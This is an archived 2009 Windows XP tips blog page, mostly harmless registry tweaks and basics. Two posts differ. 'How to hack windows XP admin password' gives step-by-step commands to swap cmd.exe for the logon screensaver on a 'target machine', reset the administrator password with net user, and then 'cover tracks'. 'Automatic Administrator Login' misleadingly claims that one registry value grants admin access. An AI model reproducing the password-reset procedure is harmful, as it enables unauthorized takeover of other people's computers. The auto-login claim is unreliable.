Archive for August 18, 2009

Add a website to start up menu

Posted: August 18, 2009 in Uncategorized
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This is a simple registry tweak which adds a website link to your Start Menu…..its very handy for quick access to your favourite website.

To Install : Copy the code below to notepad and save it as link.reg then just right click on it and choose “merge”.

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@=”nidokidos.org”

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]
@=”%SystemRoot%\\system32\\shell32.dll,-47″

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag]
“CLSID”=”{13709620-C279-11CE-A49E-444553540000}”
“method”=”ShellExecute”
“Command”=”nidokidos.org”
“Param1″=”http://www.nidokidos.org”

To uninstall : Copy the code below to notepad and save as rem.reg and right click and choose merge.

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@=””

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]
@=””

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag]
“CLSID”=”{13709620-C279-11CE-A49E-444553540000}”
“method”=”ShellExecute”
“command”=””
“Param1″=””

Registry Basics

Posted: August 18, 2009 in Registry
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Registry: it is hierarchical database which contains information of software /hardware and user profile setting .

Files responsible for making registry:

1)user.dat

2)system.dat

User.dat:this file is responsible for updating user information in registry.

System.dat: this file is responsible for updating hardware /software information in the registry.

How to open registry:

Start—run—regedit.

Registry structure:
Registry is made up of hives.

There are six hives:
1)HKEY_CLASSES_ROOT
2)HKEY_CURRENT_USER
3)HKEY_LOCAL_MACHINE
4)HKEY_USERS
5)HKEY_CURRENT_CONFIG
6)HKEY_DYN_DATA.

HKEY_CLASSES_ROOT:—THIS HIVE CONTAINS INFORMATION ABOUT PROGRAM ASSOCIATED WITH FILE TO OPEN.

HKEY_CURRENT _USER:–THIS FILE CONTAINS INFORMATION ABOUT USER WHO IS CURRENTLY LOGGED ON .

HKEY_LOCAL_MACHINE:—THIS HIVE CONTAINS INFORMATION OF ALL HARDWARE AND SOFTWARE.

HKEY_CURRENT_ CONFIG:–THIS FILE CONTAINS INFORMATION CURRENT HARDWARE PROFILE LOADED

HKEY_USERS:–THIS FILE CONTAINS INFORMATION ABOUT DEFAULT USERS.

HKEY_DYN_DATA:–THIS FILE CONTAINS INFORMATION ABOUT PROGRAMS WHICH ARE LOADED INTO MEMORY ALWAYS.

how to restore registry:

scanreg:this is a registry tool which is used to restore registry
of previous dates

how to use this command:

1)open the computer in dos mode:

2)scanreg /restore.

3)select the date.

how to export or import registry:

start–run –regedit—registry—export/import.

Block USB in Windows XP

Posted: August 18, 2009 in Registry, System Basics, System Information, System Tricks
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1. Start -> Run -> regedit ->Find the Hkey_Local_Machine>System>Current Control set>Services>USBStor.

2. Look at the right pain and find out the Start where value of the start would be 0000000(3) edit the value by double mouse click and type 4 and save.

3. Restart your computer.

Add your Name in the system Time

Posted: August 18, 2009 in System Basics
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It works for XP and Yes it also Works in Windows Vista
Do the Following
• Control Panel.

• Regional and Language Options.
• Click the Customize button.
• Select Time
• Highlight AM and type the name you want to display . Repeat with PM.
• click apply and than ok

Automatically Kill Programs At Shutdown

Posted: August 18, 2009 in Registry, System Basics, System Tricks
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Automatically Kill Programs At Shutdown

don’t you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Policies Editor for Autoplay

Posted: August 18, 2009 in Registry, System Basics, System Tricks
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GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run… and then type in ‘gpedit.msc’ and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value ‘Turn Off Autoplay’. Right-click on it and then click ‘Properties’.

Speed the Startup

Posted: August 18, 2009 in Registry, System Basics, System Tricks
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Menu Delays

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run…, then typing ‘regedit’ and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay – all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

Automatic Administrator Login

Posted: August 18, 2009 in System Basics, System Tricks, Windows XP
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Automatic Administrator Login

Well here’s the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system.

Hacking the system registry from any account having access to system registry puts you in to the administrator

account.

REGEDIT 4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

“AutoAdminLogon”=”1”

How to hack windows XP admin password

Posted: August 18, 2009 in System Tricks, Windows XP
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If you log into a limited account on your target machine and open up a dos prompt

then enter this set of commands Exactly:

cd\ *drops to root

cd\windows\system32 *directs to the system32 dir

mkdir temphack *creates the folder temphack

copy logon.scr temphack\logon.scr *backsup logon.scr

copy cmd.exe temphack\cmd.exe *backsup cmd.exe

del logon.scr *deletes original logon.scr

rename cmd.exe logon.scr *renames cmd.exe to logon.scr

exit *quits dos

Now what you have just done is told the computer to backup the command program

and the screen saver file, then edits the settings so when the machine boots the

screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

“net user <admin account name here> password”

If the Administrator Account is called James and you want the password Black enter this

“net user James Black”

and this changes the password on James machine to Black and your in.

Enjoy

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Clear Recent files in Windows Media Player

Posted: August 18, 2009 in System Basics, System Information
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You can delete the list through the Windows Registry:

1. Start the Windows Registry Editor, regedit.exe, by typing regedit in the Windows Run Command Line.

2. Go to HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentFileList.

3. Delete the RecentFileList subkey.

4. If you’ve also streamed content from the Internet, you can delete the RecentURLList subkey.

5. Exit the Registry Editor.

6. Restart the computer.

To keep certain files in the list, don’t delete the entire key. Deleting individual entries within the key will get rid of the files that you no longer want in the Recent File List.

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